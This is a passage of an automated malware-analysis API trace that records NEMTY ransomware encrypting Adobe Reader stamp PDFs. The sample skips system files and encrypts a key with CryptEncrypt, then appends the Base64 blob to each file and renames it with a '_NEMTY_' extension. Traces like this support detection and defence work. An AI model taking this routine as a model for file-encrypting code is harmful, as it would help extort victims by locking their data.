ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xeac1, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="Hanko.pdf", cAlternateFileName="")) returned 1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2=".") returned 1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="..") returned 1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="...") returned 1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="windows") returned -1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="rsa") returned -1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="NTDETECT.COM") returned -1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="ntldr") returned -1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="MSDOS.SYS") returned -1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="IO.SYS") returned -1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="boot.ini") returned 1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="boot.ini") returned 1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="ntuser.dat") returned -1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="desktop.ini") returned 1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="CONFIG.SYS") returned 1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="RECYCLER") returned -1 [0188.970] lstrcmpiW (lpString1="Hanko.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.971] lstrcmpiW (lpString1="Hanko.pdf", lpString2="bootmgr") returned 1 [0188.971] lstrcmpiW (lpString1="Hanko.pdf", lpString2="programdata") returned -1 [0188.971] lstrcmpiW (lpString1="Hanko.pdf", lpString2="appdata") returned 1 [0188.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0188.971] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Hanko.pdf", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Hanko.pdf", lpUsedDefaultChar=0x0) returned 9 [0188.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.971] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.971] Sleep (dwMilliseconds=0x5) [0188.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24491570, dwHighDateTime=0x1d561e8)) [0188.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x24491570, dwHighDateTime=0x1d561e8)) [0188.976] GetLastError () returned 0x0 [0188.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.976] GetLastError () returned 0x0 [0188.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.976] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.976] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.976] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.976] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.977] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.977] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="MvEe5G3XgSBueiQQiKbvG4c7GwO5w/nLlKAhjCELJR2bqIV65GL4PBm3lHHoxyAC\r\nu0GEIGcDPmx5016Fc95ggZQQi1jMuH8La1x573/wCSTIqm3rV37JELmxMHtXTlOs\r\nPobZtaWNJBjaKqg1AbcUnnEtLfQBdQRoo4zFnd80BQcBTLSmO2XAJau0/yqeGYrV\r\nU35o5mEHYo1qeRQbWi2RwAkO04rHl9dw5RpP1i4t2ikp5Kf3nnRSsxjxWiwoqu9a\r\ncmx+ndtrvhH0R35ydJlT7ZUizqvaMbwbP4cz9bVDMF9y9/q/4KCU6kEkbmjPBVZU\r\nTaEY4hD9cmHfKdnr8PCNDQ==\r\n", pcchString=0x653df5c) returned 1 [0188.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.977] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\hanko.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.977] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=60097) returned 1 [0188.977] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xeac0) returned 0x6352c48 [0188.977] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.977] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xeac0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xeac0, lpOverlapped=0x0) returned 1 [0188.983] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.983] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xeac0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xeac0, lpOverlapped=0x0) returned 1 [0188.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.983] SetFilePointer (in: hFile=0x320, lDistanceToMove=60097, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xeac1 [0188.983] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.983] CloseHandle (hObject=0x320) returned 1 [0188.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0188.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0188.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0188.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0188.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0188.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0188.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.983] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\hanko.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\Hanko.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\hanko.pdf._nemty_kgobjgd_")) returned 1 [0188.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0188.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344220 | out: hHeap=0x4f90000) returned 1 [0188.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0188.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0188.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0188.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.984] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0188.984] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ff28600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd074, dwReserved0=0x17, dwReserved1=0x4f90000, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0188.984] lstrcmpiW (lpString1="SignHere.pdf", lpString2=".") returned 1 [0188.984] lstrcmpiW (lpString1="SignHere.pdf", lpString2="..") returned 1 [0188.984] lstrcmpiW (lpString1="SignHere.pdf", lpString2="...") returned 1 [0188.984] lstrcmpiW (lpString1="SignHere.pdf", lpString2="windows") returned -1 [0188.984] lstrcmpiW (lpString1="SignHere.pdf", lpString2="$RECYCLE.BIN") returned 1 [0188.984] lstrcmpiW (lpString1="SignHere.pdf", lpString2="rsa") returned 1 [0188.984] lstrcmpiW (lpString1="SignHere.pdf", lpString2="NTDETECT.COM") returned 1 [0188.984] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntldr") returned 1 [0188.984] lstrcmpiW (lpString1="SignHere.pdf", lpString2="MSDOS.SYS") returned 1 [0188.984] lstrcmpiW (lpString1="SignHere.pdf", lpString2="IO.SYS") returned 1 [0188.985] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.985] lstrcmpiW (lpString1="SignHere.pdf", lpString2="boot.ini") returned 1 [0188.985] lstrcmpiW (lpString1="SignHere.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0188.985] lstrcmpiW (lpString1="SignHere.pdf", lpString2="ntuser.dat") returned 1 [0188.985] lstrcmpiW (lpString1="SignHere.pdf", lpString2="desktop.ini") returned 1 [0188.985] lstrcmpiW (lpString1="SignHere.pdf", lpString2="CONFIG.SYS") returned 1 [0188.985] lstrcmpiW (lpString1="SignHere.pdf", lpString2="RECYCLER") returned 1 [0188.985] lstrcmpiW (lpString1="SignHere.pdf", lpString2="BOOTSECT.BAK") returned 1 [0188.985] lstrcmpiW (lpString1="SignHere.pdf", lpString2="bootmgr") returned 1 [0188.985] lstrcmpiW (lpString1="SignHere.pdf", lpString2="programdata") returned 1 [0188.985] lstrcmpiW (lpString1="SignHere.pdf", lpString2="appdata") returned 1 [0188.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e210, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e260, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0188.985] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x653e298, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0188.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0188.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0188.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0188.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63404a8 [0188.985] Sleep (dwMilliseconds=0x5) [0188.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x244b76d0, dwHighDateTime=0x1d561e8)) [0188.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x244b76d0, dwHighDateTime=0x1d561e8)) [0188.992] GetLastError () returned 0x0 [0188.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0188.992] GetLastError () returned 0x0 [0188.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0188.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0188.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.992] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0188.992] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0188.992] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0188.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63440b0 [0188.992] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x63440b0, pcchString=0x653df5c | out: pszString="/TX1DrKaogE8Q01C9hJFpadIlI1dPNARzjU9ZDnez9vpypLxRvKCF1mEwiFCacY7\r\nECtFQ6gvj3L9UZ6fcmBTbzm2hwBUtUyM1VWtWLKAO5xh1jAJl7kY0ygB+efdTOJq\r\nsbsZ/IzVvG8hSf0dfb6VXi5vrWhPNVxKX/WmtISNE16gvxhyBgeSGM0NZHGnt16z\r\nBiwk5z8tK2bunz1vG40lUmk+rzKogegQOpvSVBZKTXxh44iosOAePtVknLz6+wmo\r\nTMLvewibWmaUejjvJmm9Z8hgrlihXz+E2YP9TTugPsTc2Ko3fr9n4K3NSGXQvf8o\r\nRf08MPKL9XH76//NtkHrrA==\r\n", pcchString=0x653df5c) returned 1 [0188.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0188.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0188.992] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0188.992] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0188.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63440b0 [0188.993] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0188.993] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0188.994] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=53364) returned 1 [0188.994] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd070) returned 0x6352c48 [0188.994] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.994] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xd070, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0xd070, lpOverlapped=0x0) returned 1 [0188.999] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0188.999] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xd070, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0xd070, lpOverlapped=0x0) returned 1 [0188.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0188.999] SetFilePointer (in: hFile=0x320, lDistanceToMove=53364, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd074 [0188.999] WriteFile (in: hFile=0x320, lpBuffer=0x63440b0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x63440b0*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0188.999] CloseHandle (hObject=0x320) returned 1 [0188.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6344220 [0188.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0188.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0188.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0189.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0189.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0189.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63442e8 [0189.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63443b0 [0189.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63442e8 | out: hHeap=0x4f90000) returned 1 [0189.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0189.000] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\signhere.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\SignHere.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\signhere.pdf._nemty_kgobjgd_")) returned 1 [0189.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63443b0 | out: hHeap=0x4f90000) returned 1 [0189.000] HeapFree (in: hHeap=0x4f90000, 